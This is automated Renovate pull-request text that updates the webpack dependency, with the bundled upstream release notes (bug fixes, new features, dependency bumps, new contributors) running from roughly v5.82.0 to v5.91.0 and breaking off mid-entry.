[https://github.com/webpack/webpack/pull/17089](https://togithub.com/webpack/webpack/pull/17089) - Improve PR reliability via ignoring unstable coverage by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17106](https://togithub.com/webpack/webpack/pull/17106) - Update webpack types to support extends property in webpack (for webpack-cli) by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) #### Developer Experience - Increase type coverage and documentation for `StringXor` class. by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17070](https://togithub.com/webpack/webpack/pull/17070) - Increase type coverage & docs for `numberHash` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17072](https://togithub.com/webpack/webpack/pull/17072) - Increase type coverage & docs for `JavascriptParser` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17094](https://togithub.com/webpack/webpack/pull/17094) - Increase type coverage & docs for `BasicEvaluatedExpression` by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17096](https://togithub.com/webpack/webpack/pull/17096) - Increase type coverage for CSS module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17097](https://togithub.com/webpack/webpack/pull/17097) - Increase type coverage for JSON module type by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17095](https://togithub.com/webpack/webpack/pull/17095) - Increase type coverage & docs for multiple utility classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17107](https://togithub.com/webpack/webpack/pull/17107) #### Dependencies & Maintenance - chore(deps-dev): bump lint-staged from 13.2.1 to 13.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17075](https://togithub.com/webpack/webpack/pull/17075) - chore(deps-dev): bump eslint from 8.38.0 to 8.39.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17052](https://togithub.com/webpack/webpack/pull/17052) - chore(deps-dev): bump assemblyscript from 0.27.3 to 0.27.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17064](https://togithub.com/webpack/webpack/pull/17064) - chore(deps-dev): bump assemblyscript from 0.27.4 to 0.27.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17109](https://togithub.com/webpack/webpack/pull/17109) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.16.2 to 18.16.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17112](https://togithub.com/webpack/webpack/pull/17112) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 18.15.13 to 18.16.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17084](https://togithub.com/webpack/webpack/pull/17084) - chore(deps-dev): bump webpack-cli from 5.0.1 to 5.0.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17054](https://togithub.com/webpack/webpack/pull/17054) - chore(deps-dev): bump date-fns from 2.29.3 to 2.30.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17111](https://togithub.com/webpack/webpack/pull/17111) #### New Contributors - [@​An0nie](https://togithub.com/An0nie) made their first contribution in [https://github.com/webpack/webpack/pull/17079](https://togithub.com/webpack/webpack/pull/17079) - [@​burhanuday](https://togithub.com/burhanuday) made their first contribution in [https://github.com/webpack/webpack/pull/17113](https://togithub.com/webpack/webpack/pull/17113) - [@​Zlatkovsky](https://togithub.com/Zlatkovsky) made their first contribution in [https://github.com/webpack/webpack/pull/16990](https://togithub.com/webpack/webpack/pull/16990) **Full Changelog**: webpack/webpack@v5.81.0...v5.82.0 </details> --- ### Configuration 📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined). 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR has been generated by [Mend Renovate](https://www.mend.io/free-developer-tools/renovate/). View repository job log [here](https://developer.mend.io/github/ziyadedher/ziyadedher). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiIzNy4wLjMiLCJ1cGRhdGVkSW5WZXIiOiIzNy4wLjMiLCJ0YXJnZXRCcmFuY2giOiJtYWluIn0=--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
[](https://renovatebot.com) This PR contains the following updates: | Package | Change | Age | Adoption | Passing | Confidence | |---|---|---|---|---|---| | [webpack](https://togithub.com/webpack/webpack) | [`5.75.0` -> `5.91.0`](https://renovatebot.com/diffs/npm/webpack/5.75.0/5.91.0) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | [](https://docs.renovatebot.com/merge-confidence/) | --- ### Release Notes <details> <summary>webpack/webpack (webpack)</summary> ### [`v5.91.0`](https://togithub.com/webpack/webpack/releases/tag/v5.91.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.3...v5.91.0) #### Bug Fixes - Deserializer for ignored modules doesn't crash - Allow the `unsafeCache` option to be a proxy object - Normalize the `snapshot.unmanagedPaths` option - Fixed `fs` types - Fixed resolve's plugins types - Fixed wrongly calculate postOrderIndex - Fixed watching types - Output import attrbiutes/import assertions for external JS imports - Throw an error when DllPlugin needs to generate multiple manifest files, but the path is the same - \[CSS] Output `layer`/`supports`/`media` for external CSS imports #### New Features - Allow to customize the stage of BannerPlugin - \[CSS] Support CSS exports convention - \[CSS] support CSS local ident name - \[CSS] Support `__webpack_nonce__` for CSS chunks - \[CSS] Support `fetchPriority` for CSS chunks - \[CSS] Allow to use LZW to compress css head meta (enabled in the `production` mode by default) - \[CSS] Support prefetch/preload for CSS chunks ### [`v5.90.3`](https://togithub.com/webpack/webpack/releases/tag/v5.90.3) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.2...v5.90.3) #### Bug Fixes - don't mangle when destructuring a reexport - types for `Stats.toJson()` and `Stats.toString()` - many internal types - \[CSS] clean up export css local vars #### Perf - simplify and optimize chunk graph creation ### [`v5.90.2`](https://togithub.com/webpack/webpack/releases/tag/v5.90.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.1...v5.90.2) #### Bug Fixes - use `Math.imul` in `fnv1a32` to avoid loss of precision, directly hash UTF16 values - the `setStatus()` of the HMR module should not return an array, which may cause infinite recursion - `__webpack_exports_info__.xxx.canMangle` shouldn't always same as default - mangle export with destructuring - use new runtime to reconsider skipped connections `activeState` - make dynamic import optional in `try/catch` - improve auto publicPath detection #### Dependencies & Maintenance - improve CI setup and include Node.js@21 ### [`v5.90.1`](https://togithub.com/webpack/webpack/releases/tag/v5.90.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.90.0...v5.90.1) #### Bug Fixes - set `unmanagedPaths` in defaults - correct `preOrderIndex` and `postOrderIndex` - add fallback for MIME mismatch error in async wasm loading - browsers versions of ECMA features #### Performance - optimize `compareStringsNumeric` - optimize `numberHash` using 32-bit FNV1a for small ranges, 64-bit for larger - reuse VM context across webpack magic comments ### [`v5.90.0`](https://togithub.com/webpack/webpack/releases/tag/v5.90.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.89.0...v5.90.0) #### Bug Fixes - Fixed inner graph for classes - Optimized `RemoveParentModulesPlugin` via bigint arithmetic - Fixed worklet detection in production mode - Fixed an error for cyclic importModule - Fixed types for `Server` and `Dirent` - Added the `fetchPriority` to hmr runtime's `ensureChunk` function - Don't warn about dynamic import for build dependencies - External module generation respects the `output.environment.arrowFunction` option - Fixed consumimng shared runtime module logic - Fixed a runtime logic of multiple chunks - Fixed destructing assignment of dynamic import json file - Passing errors array for a module hash - Added `/*#__PURE__*/` to generated `JSON.parse()` - Generated a library manifest after clean plugin - Fixed non `amd` externals and `amd` library - Fixed a bug in `SideEffectsFlagPlugin` with namespace re-exports - Fixed an error message for condition `or` - The `strictModuleErrorHandling` is now working - Clean up child compilation chunk graph to avoid memory leak - \[CSS] - Fixed CSS import prefer relative resolution - \[CSS] - Fixed CSS runtime chunk loading error message #### New Features - Allow to set `false` for dev server in `webpack.config.js` - Added a warning for async external when not supported - Added a warning for async module when not supported - Added the `node-module` option for the `node.__filename/__dirname` and enable it by default for ESM target - Added the `snapshot.unmanagedPaths` option - Exposed the `MultiCompilerOptions` type - \[CSS] - Added CSS parser options to enable/disable named exports - \[CSS] - Moved CSS the `exportsOnly` option to CSS generator options #### Dependencies & Maintenance - use node.js LTS version for lint - bump actions/cache from 3 to 4 - bump prettier from 3.2.1 to 3.2.3 - bump assemblyscript - bump actions/checkout from 3 to 4 **Full Changelog**: https://github.com/webpack/webpack/compare/v5.89.0...v5.90.0 ### [`v5.89.0`](https://togithub.com/webpack/webpack/releases/tag/v5.89.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.2...v5.89.0) #### New Features - Make CommonJS import preserve chained expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17718](https://togithub.com/webpack/webpack/pull/17718) #### Dependencies & Maintenance - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.3.1 to 20.4.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17568](https://togithub.com/webpack/webpack/pull/17568) - docs: add example for stats detailed output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17420](https://togithub.com/webpack/webpack/pull/17420) - docs: add example for stats normal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17426](https://togithub.com/webpack/webpack/pull/17426) - chore(deps-dev): bump core-js from 3.31.0 to 3.32.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17539](https://togithub.com/webpack/webpack/pull/17539) - chore(deps-dev): bump pretty-format from 29.5.0 to 29.6.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17536](https://togithub.com/webpack/webpack/pull/17536) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.4.8 to 20.4.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17583](https://togithub.com/webpack/webpack/pull/17583) - chore(deps-dev): bump less from 4.1.3 to 4.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17580](https://togithub.com/webpack/webpack/pull/17580) - chore(deps): bump semver from 5.7.1 to 5.7.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17483](https://togithub.com/webpack/webpack/pull/17483) - chore(deps-dev): bump simple-git from 3.19.0 to 3.19.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17427](https://togithub.com/webpack/webpack/pull/17427) - chore(deps-dev): bump [@​types/node](https://togithub.com/types/node) from 20.4.9 to 20.6.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17666](https://togithub.com/webpack/webpack/pull/17666) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.2...v5.89.0 ### [`v5.88.2`](https://togithub.com/webpack/webpack/releases/tag/v5.88.2) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.1...v5.88.2) #### Bug Fixes - Fixed a bug where unused identifiers should retain names when using css modules by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17444](https://togithub.com/webpack/webpack/pull/17444) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.1...v5.88.2 ### [`v5.88.1`](https://togithub.com/webpack/webpack/releases/tag/v5.88.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.88.0...v5.88.1) #### Developer Experience - Significantly improve TypeScript coverage for Library Plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17414](https://togithub.com/webpack/webpack/pull/17414) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.88.0...v5.88.1 ### [`v5.88.0`](https://togithub.com/webpack/webpack/releases/tag/v5.88.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.87.0...v5.88.0) #### New Features - \[CSS] - Use `css/auto` as the default css mode by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17399](https://togithub.com/webpack/webpack/pull/17399) #### Bug Fixes - Fix bugs related to require.context and layer by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17388](https://togithub.com/webpack/webpack/pull/17388) - Fix bug in runtime for CSS loading by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17400](https://togithub.com/webpack/webpack/pull/17400) - Correct indirect call for tagged template expressions using correct this context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17397](https://togithub.com/webpack/webpack/pull/17397) - Update environment support for KaiOS browser by [@​steverep](https://togithub.com/steverep) in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) - Fix async module runtime code for running top-level-await by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/17393](https://togithub.com/webpack/webpack/pull/17393) #### Developer Experience - Add example for stats minimal output by [@​ersachin3112](https://togithub.com/ersachin3112) in [https://github.com/webpack/webpack/pull/17406](https://togithub.com/webpack/webpack/pull/17406) - Significantly improve type coverage for Dependency, Runtime, Template classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17394](https://togithub.com/webpack/webpack/pull/17394) #### Dependencies & Maintenance - Bump browserslist from 4.21.8 to 4.21.9 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17389](https://togithub.com/webpack/webpack/pull/17389) - Bump acorn from 8.8.2 to 8.9.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17402](https://togithub.com/webpack/webpack/pull/17402) - Bump eslint from 8.42.0 to 8.43.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17401](https://togithub.com/webpack/webpack/pull/17401) - Bump eslint-plugin-jest from 27.2.1 to 27.2.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17407](https://togithub.com/webpack/webpack/pull/17407) #### New Contributors - [@​steverep](https://togithub.com/steverep) made their first contribution in [https://github.com/webpack/webpack/pull/17395](https://togithub.com/webpack/webpack/pull/17395) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.87.0...v5.88.0 ### [`v5.87.0`](https://togithub.com/webpack/webpack/releases/tag/v5.87.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.86.0...v5.87.0) #### New Features - Implement `fetchPriority` feature as parser option and magic comment by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17249](https://togithub.com/webpack/webpack/pull/17249) - \[CSS] - Introduce 'css/auto' as a css module type by [@​ahabhgk](https://togithub.com/ahabhgk) in [https://github.com/webpack/webpack/pull/16577](https://togithub.com/webpack/webpack/pull/16577) - \[CSS] - Style-specific fields now automatically resolve in package.json by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17346](https://togithub.com/webpack/webpack/pull/17346) - webpack configuration API now accepts "falsy values" loaders and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17339](https://togithub.com/webpack/webpack/pull/17339) #### Bug Fixes - Fix codecov badge in readme by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17353](https://togithub.com/webpack/webpack/pull/17353) #### Developer Experience - Add link to svelte loader for webpack by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17369](https://togithub.com/webpack/webpack/pull/17369) - Increase parser API types in internal plugins across dependency plugins [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17365](https://togithub.com/webpack/webpack/pull/17365) #### Dependencies & Maintenance - Bump memfs from 3.5.2 to 3.5.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17347](https://togithub.com/webpack/webpack/pull/17347) - Bump webpack-cli from 5.1.3 to 5.1.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17349](https://togithub.com/webpack/webpack/pull/17349) - Bump es-module-lexer from 1.2.1 to 1.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17362](https://togithub.com/webpack/webpack/pull/17362) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.5 to 20.3.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17361](https://togithub.com/webpack/webpack/pull/17361) - Bump core-js from 3.30.2 to 3.31.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17360](https://togithub.com/webpack/webpack/pull/17360) - Bump browserslist from 4.21.6 to 4.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17367](https://togithub.com/webpack/webpack/pull/17367) - Bump [@​types/node](https://togithub.com/types/node) from 20.3.0 to 20.3.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17366](https://togithub.com/webpack/webpack/pull/17366) #### New Contributors [@​aboktor](https://togithub.com/aboktor) made their first contribution in [#​16991](https://togithub.com/webpack/webpack/issues/16991) [#​16989](https://togithub.com/webpack/webpack/issues/16989) [@​silverwind](https://togithub.com/silverwind) made their first contribution in [#​17339](https://togithub.com/webpack/webpack/issues/17339) via [#​17329](https://togithub.com/webpack/webpack/issues/17329) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.86.0...v5.87.0 ### [`v5.86.0`](https://togithub.com/webpack/webpack/releases/tag/v5.86.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.1...v5.86.0) #### New Features - Improved cache size performance via better handling of serialization for errors and bigints by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17282](https://togithub.com/webpack/webpack/pull/17282) - Introduce an export default handler function option for `ProgressPlugin` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17312](https://togithub.com/webpack/webpack/pull/17312) - Support passing `RegExp` to `splitChunks.chunks` by [@​hyf0](https://togithub.com/hyf0) in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) #### Bug Fixes - Fix layer capabilities for `ContextModule` types by [@​huozhi](https://togithub.com/huozhi) in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - Fix compatibility of `__non_webpack_require__` with ES modules by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17308](https://togithub.com/webpack/webpack/pull/17308) - Improve type coverage `Chunk`, `ChunkGroup`, and other plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/1731](https://togithub.com/webpack/webpack/pull/1731) - Do not add `js` extension for eval source maps when extension is not resolvable by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17331](https://togithub.com/webpack/webpack/pull/17331) #### Developer Experience - Improve type coverage for Json Module type and lazy load json-assertions package by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17301](https://togithub.com/webpack/webpack/pull/17301) #### Dependencies & Maintenance - Bump memfs from 3.5.1 to 3.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17315](https://togithub.com/webpack/webpack/pull/17315) - Bump webpack-cli from 5.1.1 to 5.1.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17314](https://togithub.com/webpack/webpack/pull/17314) - Bump eslint from 8.41.0 to 8.42.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17313](https://togithub.com/webpack/webpack/pull/17313) #### New Contributors - [@​huozhi](https://togithub.com/huozhi) made their first contribution in [https://github.com/webpack/webpack/pull/17310](https://togithub.com/webpack/webpack/pull/17310) - [@​hyf0](https://togithub.com/hyf0) made their first contribution in [https://github.com/webpack/webpack/pull/17332](https://togithub.com/webpack/webpack/pull/17332) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.1...v5.86.0 ### [`v5.85.1`](https://togithub.com/webpack/webpack/releases/tag/v5.85.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.85.0...v5.85.1) #### Bug Fixes - Fix bug in handling barrel imports ([#​17305](https://togithub.com/webpack/webpack/issues/17305)) by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17307](https://togithub.com/webpack/webpack/pull/17307) - ***NOTE**: An internal API `BasicEvaluatedExpression.getMemberRangeStarts` has been changed to `BasicEvaluatedExpression.getMemberRanges`, please see type definition changes and the pull request for more information.* #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.1 to 29.5.2 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17297](https://togithub.com/webpack/webpack/pull/17297) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.85.0...v5.85.1 ### [`v5.85.0`](https://togithub.com/webpack/webpack/releases/tag/v5.85.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.1...v5.85.0) #### New Features - Add `readonly` cache mode by [@​vankop](https://togithub.com/vankop) in [https://github.com/webpack/webpack/pull/15470](https://togithub.com/webpack/webpack/pull/15470) - Normalize property accessors for esm namespaces and chained member/call expressions by [@​bworline](https://togithub.com/bworline) in [https://github.com/webpack/webpack/pull/17203](https://togithub.com/webpack/webpack/pull/17203) - Support `environment` in loader context by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17281](https://togithub.com/webpack/webpack/pull/17281) - Introduce a new syntax for `addModule()` support in worklets - `*context.audioWorklet.addModule()` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17212](https://togithub.com/webpack/webpack/pull/17212) #### Bug Fixes - Fix type regression with unknown module type strings by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17266](https://togithub.com/webpack/webpack/pull/17266) #### Developer Experience - Use global runtime constants for webpack exports by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17270](https://togithub.com/webpack/webpack/pull/17270) - Add strict mode type coverage for WASM and Runtime code by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17267](https://togithub.com/webpack/webpack/pull/17267) - Add strict mode type coverage for runtime modules and runtime plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17261](https://togithub.com/webpack/webpack/pull/17261) - Add types for JSON & Asset Modules including their interfacing plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17262](https://togithub.com/webpack/webpack/pull/17262) - Add type coverage for Module subclasses and plugins by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17272](https://togithub.com/webpack/webpack/pull/17272) #### Dependencies & Maintenance - Use GitHub Discussions instead of Gitter in issue templates by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17293](https://togithub.com/webpack/webpack/pull/17293) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.3 to 20.2.4 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17269](https://togithub.com/webpack/webpack/pull/17269) - Bump browserslist from 4.21.5 to 4.21.6 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17275](https://togithub.com/webpack/webpack/pull/17275) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.4 to 20.2.5 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17276](https://togithub.com/webpack/webpack/pull/17276) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.8 to 7.22.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17278](https://togithub.com/webpack/webpack/pull/17278) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.1...v5.85.0 ### [`v5.84.1`](https://togithub.com/webpack/webpack/releases/tag/v5.84.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.84.0...v5.84.1) #### Bug Fixes - Fix regression in inner graph for reserved identifiers by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17265](https://togithub.com/webpack/webpack/pull/17265) #### Dependencies & Maintenance - Bump [@​types/jest](https://togithub.com/types/jest) from 29.5.0 to 29.5.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17027](https://togithub.com/webpack/webpack/pull/17027) - Bump simple-git from 3.18.0 to 3.19.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17263](https://togithub.com/webpack/webpack/pull/17263) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.84.0...v5.84.1 ### [`v5.84.0`](https://togithub.com/webpack/webpack/releases/tag/v5.84.0) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.1...v5.84.0) #### New Features - SourceMapDevToolPlugin now supports `append` option as a function by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17252](https://togithub.com/webpack/webpack/pull/17252) #### Bug Fixes - Fix multiple bugs referencing class names when shadowed by import name in properties and methods by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17233](https://togithub.com/webpack/webpack/pull/17233) - Allow DefinePlugin shorthand property by [@​shamoilarsi](https://togithub.com/shamoilarsi) in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) - \[CSS] - Fix edge cases in parsing `@import` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17229](https://togithub.com/webpack/webpack/pull/17229) #### Developer Experience - Increase type coverage for serialization classes by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17243](https://togithub.com/webpack/webpack/pull/17243) - Increase type coverage for `JavascriptParser` and `ModuleDependency` subclasses by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17236](https://togithub.com/webpack/webpack/pull/17236) - Increase type coverage to `strict`-mode quality for Configuration/Normalization objects by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17247](https://togithub.com/webpack/webpack/pull/17247) - Refactor duplicate strings by replacing them with constant for **webpack_require** instead of string literal by [@​burhanuday](https://togithub.com/burhanuday) in [https://github.com/webpack/webpack/pull/17228](https://togithub.com/webpack/webpack/pull/17228) - Add test case for `with { type: "json" }` by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17230](https://togithub.com/webpack/webpack/pull/17230) - Add test case for destructuring by [@​alexander-akait](https://togithub.com/alexander-akait) in [https://github.com/webpack/webpack/pull/17248](https://togithub.com/webpack/webpack/pull/17248) #### Dependencies & Maintenance - Add GitHub discussions badge in README by [@​snitin315](https://togithub.com/snitin315) in [https://github.com/webpack/webpack/pull/17251](https://togithub.com/webpack/webpack/pull/17251) - Bump enhanced-resolve to 5.14.1 by [@​TheLarkInn](https://togithub.com/TheLarkInn) in [https://github.com/webpack/webpack/pull/17257](https://togithub.com/webpack/webpack/pull/17257) - Bump [@​types/node](https://togithub.com/types/node) from 20.1.7 to 20.2.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17219](https://togithub.com/webpack/webpack/pull/17219) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.0 to 20.2.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17226](https://togithub.com/webpack/webpack/pull/17226) - Bump webpack-cli from 5.1.0 to 5.1.1 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17164](https://togithub.com/webpack/webpack/pull/17164) - Bump eslint from 8.39.0 to 8.40.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17148](https://togithub.com/webpack/webpack/pull/17148) - Bump [@​babel/core](https://togithub.com/babel/core) from 7.21.4 to 7.21.8 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17126](https://togithub.com/webpack/webpack/pull/17126) - Bump [@​types/node](https://togithub.com/types/node) from 20.2.1 to 20.2.3 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17238](https://togithub.com/webpack/webpack/pull/17238) - Bump eslint from 8.40.0 to 8.41.0 by [@​dependabot](https://togithub.com/dependabot) in [https://github.com/webpack/webpack/pull/17237](https://togithub.com/webpack/webpack/pull/17237) #### New Contributors - [@​shamoilarsi](https://togithub.com/shamoilarsi) made their first contribution in [https://github.com/webpack/webpack/pull/17231](https://togithub.com/webpack/webpack/pull/17231) **Full Changelog**: https://github.com/webpack/webpack/compare/v5.83.1...v5.84.0 ### [`v5.83.1`](https://togithub.com/webpack/webpack/releases/tag/v5.83.1) [Compare Source](https://togithub.com/webpack/webpack/compare/v5.83.0...v5.83.1) #### Bug Fixes - Fix regression in import/export normailization 